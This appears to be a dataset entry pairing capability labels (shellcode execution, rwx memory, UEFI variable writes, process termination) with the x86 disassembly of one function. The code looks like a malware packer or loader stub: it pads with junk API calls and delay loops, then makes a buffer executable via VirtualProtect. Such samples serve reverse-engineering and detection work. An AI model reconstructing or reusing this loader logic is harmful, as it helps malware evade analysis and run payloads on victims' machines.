Function at 0x409ae0
Capabilities:
Allocate or change rwx memory
Check for unexpected memory writes
Copy file
Create mailslot
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get hostname
Manipulate console buffer
Move file
Print debug messages
Read .ini file
Receive http response
Set uefi variable
Terminate process
Terminate thread

Disassembly:
mov eax, 0x243c
call fcn.0040a5d0
cmp dword [0x2b18514], 0x177
jne 0x409b43
push 0
push 0
push 0
call fcn.0040af20
push 0x401468
push 0
call fcn.0040ab00
push 0
call fcn.0040aab0
push 0
push 0
call fcn.0040a860
call fcn.0040a720
push 0
call fcn.0040a6f0
push 0
push 0
call fcn.0040a6c0
push 0
call fcn.0040a640
push 0
call fcn.0040a620
add esp, 0x34
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [esp + 0x10], 0
jmp 0x409b70
cmp dword [0x2b18514], 0x47
jne 0x409c8f
lea eax, [esp + 0x28]
push eax
push 0x401474
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call ebp
push 0
lea ecx, [esp + 0x850]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x20]
push ecx
mov word [esp + 0x28], dx
mov word [esp + 0x2a], ax
mov edx, dword [esp + 0x28]
push edx
push eax
push 0x401490
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0x4014a8
push 0x4014b8
push 0x4014c0
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
push 0
lea eax, [esp + 0x1050]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x1c], cx
mov word [esp + 0x1e], dx
mov ecx, dword [esp + 0x1c]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
cmp dword [esp + 0x10], 0x69c
je 0x409cc8
cmp dword [0x2b18514], 0xf
jne 0x409cb2
push 0x4014f8
push 0x401508
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x113368a
mov dword [esp + 0x10], eax
jl 0x409b70
jmp 0x409cd4
mov edx, dword [0x428160]
mov dword [0x2b18514], edx
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
xor ebp, ebp
xor esi, esi
cmp esi, 0x4d1b
jge 0x409cfa
push ebp
push ebp
call dword [sym.imp.USER32.dll_OemToCharW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x2b18514], 0x6b
jne 0x409d17
push ebp
push ebp
push ebp
push ebp
call edi
push ebp
push ebp
push 0x401568
push 0x401578
call ebx
inc esi
cmp esi, 0x180b2293
mov dword [0x2b17ba0], ebp
jl 0x409ce4
mov edi, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetSystemTime]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov edi, edi
cmp ecx, 0x40d
jne 0x409d52
push 0x2b18514
call fcn.00409780
cmp dword [0x2b18514], 0x78
jne 0x409e8b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
push 0x40159c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommError]
push 0x4015a4
push 0
lea eax, [esp + 0x454]
push eax
push 0x4015c0
push 0x4015cc
push 0x4015dc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov ecx, dword [esp + 0x14]
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea edx, [esp + 0x14]
push edx
push 0
push 0
push 0
call ebx
call esi
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
push 0
push 0
lea eax, [esp + 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
call ebp
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [esp + 0x850]
push ecx
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0x4015f4
lea edx, [esp + 0x1050]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [esp + 0x18]
inc ecx
cmp ecx, 0x40c143
mov dword [esp + 0x18], ecx
jl 0x409d40
call fcn.00409850
mov esi, dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov edi, 0x56a5e7
lea esp, [esp]
cmp dword [0x2b18514], 0x15
jne 0x409ebf
push 0
push 0
call esi
sub edi, 1
jne 0x409eb0
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
mov dword [esp + 0x10], edi
mov edi, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
cmp dword [0x2b18514], 0xfd
jne 0x409ee8
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
cmp dword [esp + 0x10], 0x154d
jne 0x409efc
mov eax, dword [0x428008]
mov dword [0x2b18518], eax
cmp dword [0x2b18514], 0x23
jne 0x40a08d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x5c]
push ecx
call esi
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x80df2b
mov dword [esp + 0x10], eax
jl 0x409ed4
xor esi, esi
cmp dword [0x2b18514], esi
jbe 0x40a0bf
jmp 0x40a0b0
push esi
call fcn.00409650
inc esi
cmp esi, dword [0x2b18514]
jb 0x40a0b0
call fcn.00409790
mov ecx, dword [0x2b18514]
mov edx, dword [0x2afb970]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00409870
cmp dword [0x2b18514], 0x1d
pop edi
pop esi
pop ebp
pop ebx
jne 0x40a1f6
push 0
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
lea edx, [esp + 0x840]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__lread]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
call dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [esp + 0x1040]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push 0x401668
push 0
lea edx, [esp + 0x1c44]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
push 0x4016cc
push 0x4016d4
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push 0x4016e4
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
xor eax, eax
add esp, 0x243c
ret 0x10